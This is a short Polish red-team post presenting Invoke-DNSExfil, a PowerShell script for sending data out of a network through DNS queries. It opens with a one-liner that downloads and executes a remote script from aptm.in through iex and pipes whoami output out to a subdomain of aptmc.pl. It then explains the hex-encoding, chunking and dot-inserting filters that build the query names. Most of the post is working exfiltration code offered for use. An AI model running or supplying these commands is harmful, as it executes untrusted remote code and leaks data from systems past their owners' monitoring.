Eksfiltracja po DNS? Proszę bardzo
tty1 · powershell
PS> iwr aptm.in/g/dnsex|iex; whoami|Invoke-DNSExfil foo.aptmc.pl
#Powershell#RedTeam#DNS#Exfil
Ten nieskomplikowny skrypt o nazwie Invoke-DNSExfil, pozwla na bardzo prostą eksfiltrację z pomocą zapytań DNS. Wykorzystuje cmdlet Resolve-DnsName, który wysyła odpowiednie zapytanie do domyślnego serwera DNS (np. 8.8.8.8, 1.1.1.1) lub tego, który jest jawnie wskazany poprzez -Server.
Dodatkowo zdefiniowane są dla wygody 3 filtry:
Jak to działa — krok po kroku
Rozłóżmy onelinera na czynniki pierwsze:
filter thx { ($_.ToCharArray() | % { "{0:X2}" -f [int]$_ }) -join "" }
zakoduj wejście do HEXów
filter chunks($c) { $t = $_; 0..[math]::floor($t.length / $c) | % { $t.substring($c * $_, [math]::min($c, $t.length - $c * $_)) } }
podziel wejście na $c elementów (co będzie związane maksymalną długością odpytywanej subdomeny
filter dots($c) { ($_ -replace "([\w]{$c})", "`$1.").trim('.') }
wstaw kropki co $c znaków, czyli podziel domenę na subdomeny